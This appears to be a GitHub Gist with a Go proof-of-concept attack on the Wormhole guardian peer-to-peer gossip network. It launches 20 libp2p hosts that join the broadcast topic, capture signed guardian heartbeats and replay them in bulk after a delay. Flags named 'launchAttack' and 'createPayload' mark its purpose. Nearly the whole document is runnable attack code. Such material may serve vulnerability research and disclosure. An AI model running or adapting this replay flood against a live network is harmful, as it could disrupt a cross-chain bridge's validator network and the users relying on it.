-
-
Save 0xfadam/81b73e34e4ca32770c80f80236db1e81 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"context" | |
"flag" | |
"fmt" | |
"math/rand" | |
"os" | |
"sync" | |
"time" | |
"github.com/certusone/wormhole/node/pkg/common" | |
"github.com/certusone/wormhole/node/pkg/p2p" | |
gossipv1 "github.com/certusone/wormhole/node/pkg/proto/gossip/v1" | |
ipfslog "github.com/ipfs/go-log/v2" | |
pubsub "github.com/libp2p/go-libp2p-pubsub" | |
"go.uber.org/zap" | |
"google.golang.org/protobuf/proto" | |
) | |
var wg sync.WaitGroup // WaitGroup instantiation | |
var ( | |
pubKey string | |
url string | |
nbThreads int | |
timeout time.Duration | |
p2pNetworkID string | |
p2pBootstrap string | |
p2pPort uint | |
nodeKeyPath string | |
logLevel string | |
createPayload bool | |
launchAttack bool | |
) | |
func generateRandomString(length int) string { | |
// Define the character set | |
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" | |
// Seed the random number generator | |
rand.Seed(time.Now().UnixNano()) | |
// Generate the random string | |
b := make([]byte, length) | |
for i := range b { | |
b[i] = charset[rand.Intn(len(charset))] | |
} | |
return string(b) | |
} | |
func iteratePorts(start, end uint16) func() uint16 { | |
currentPort := start | |
return func() uint16 { | |
if currentPort >= end { | |
currentPort = start | |
} | |
port := currentPort | |
currentPort++ | |
return port | |
} | |
} | |
func main() { | |
flag.StringVar(&pubKey, "pubKey", "", "A guardian public key") | |
flag.StringVar(&url, "url", "", "The public web url of a guardian") | |
flag.DurationVar(&timeout, "timeout", 3*time.Second, "The duration to wait for a heartbeat and observations") | |
flag.StringVar(&p2pNetworkID, "network", "/wormhole/dev", "P2P network identifier") | |
flag.StringVar(&p2pBootstrap, "bootstrap", "/dns4/guardian-0.guardian/udp/8999/quic/p2p/12D3KooWL3XJ9EMCyZvmmGXL2LMiVBtrVa2BuESsJiXkSj7333Jw", "The list of bootstrap peers (comma-separated) to connect to for gossip network tests. This can be useful to test a particular bootstrap peer.") | |
flag.StringVar(&logLevel, "logLevel", "error", "The logging level. Valid values are error, warn, info, and debug.") | |
flag.Parse() | |
rand.Seed(time.Now().UnixNano()) | |
lvl, err := ipfslog.LevelFromString(logLevel) | |
if err != nil { | |
fmt.Println("Invalid log level") | |
os.Exit(1) | |
} | |
logger := ipfslog.Logger("health-check").Desugar() | |
ipfslog.SetAllLoggers(lvl) | |
rootCtx, rootCtxCancel := context.WithCancel(context.Background()) | |
defer rootCtxCancel() | |
var wg sync.WaitGroup | |
startPort := uint16(8000) | |
endPort := uint16(9000) | |
portIterator := iteratePorts(startPort, endPort) | |
for i := 0; i < 20; i++ { | |
wg.Add(1) | |
go func(idx int) { | |
defer wg.Done() | |
port := portIterator() | |
interceptAndReplayHeartbeat(rootCtx, logger, uint(port), idx) | |
}(i) | |
} | |
wg.Wait() | |
} | |
func interceptAndReplayHeartbeat(ctx context.Context, logger *zap.Logger, port uint, idx int) { | |
// Generate health check path and retrieve node key | |
healthCheckPath := "/tmp/" + generateRandomString(10) | |
priv, err := common.GetOrCreateNodeKey(logger, healthCheckPath) | |
if err != nil { | |
logger.Fatal("Failed to load node key", zap.Error(err)) | |
} | |
// Create local context for this interception and defer its cancellation | |
localContext, localCancel := context.WithCancel(ctx) | |
defer localCancel() | |
// Create host | |
components := p2p.DefaultComponents() | |
components.Port = port | |
host, err := p2p.NewHost(logger, localContext, p2pNetworkID, p2pBootstrap, components, priv) | |
if err != nil { | |
logger.Fatal("failed to create host", zap.String("p2pBootstrap", p2pBootstrap), zap.Error(err)) | |
} | |
// Create pubsub subscription | |
ps, err := pubsub.NewGossipSub(localContext, host) | |
if err != nil { | |
logger.Fatal("failed to create subscription", zap.String("p2pBootstrap", p2pBootstrap), zap.Error(err)) | |
} | |
// Join topic | |
topic := fmt.Sprintf("%s/%s", p2pNetworkID, "broadcast") | |
topicHandle, err := ps.Join(topic) | |
if err != nil { | |
logger.Fatal("failed to join topic", zap.String("p2pBootstrap", p2pBootstrap), zap.Error(err)) | |
} | |
// Subscribe to the topic | |
sub, err := topicHandle.Subscribe() | |
if err != nil { | |
logger.Fatal("failed to subscribe to topic", zap.String("p2pBootstrap", p2pBootstrap), zap.Error(err)) | |
} | |
logger.Warn("Waiting 20s to ensure we are connected") | |
time.Sleep(time.Duration(20) * time.Second) | |
// Goroutine to intercept and replay heartbeats | |
go func() { | |
for { | |
select { | |
case <-ctx.Done(): | |
return | |
default: | |
envelope, err := sub.Next(localContext) | |
if err != nil { | |
logger.Info("failed to receive pubsub message", zap.Error(err)) | |
break | |
} | |
var msg gossipv1.GossipMessage | |
err = proto.Unmarshal(envelope.Data, &msg) | |
if err != nil { | |
logger.Info("received invalid message", | |
zap.Binary("data", envelope.Data), | |
zap.String("from", envelope.GetFrom().String())) | |
continue | |
} | |
switch msg.Message.(type) { | |
case *gossipv1.GossipMessage_SignedHeartbeat: | |
time.Sleep((time.Duration(10) * time.Second) + (time.Duration(idx) * 200 * time.Millisecond)) | |
b, err := proto.Marshal(&msg) | |
if err != nil { | |
logger.Error("Failed to marshal heartbeat", zap.Error(err)) | |
continue | |
} | |
err = topicHandle.Publish(localContext, b) | |
if err != nil { | |
logger.Error("Failed to publish heartbeat", zap.Error(err)) | |
continue | |
} | |
logger.Warn("Heartbeat replayed successfully.") | |
} | |
} | |
} | |
}() | |
// Sleep for a while before cancelling the local context | |
time.Sleep(timeout * 500) | |
// Cancel local context to break out of the goroutine | |
localCancel() | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment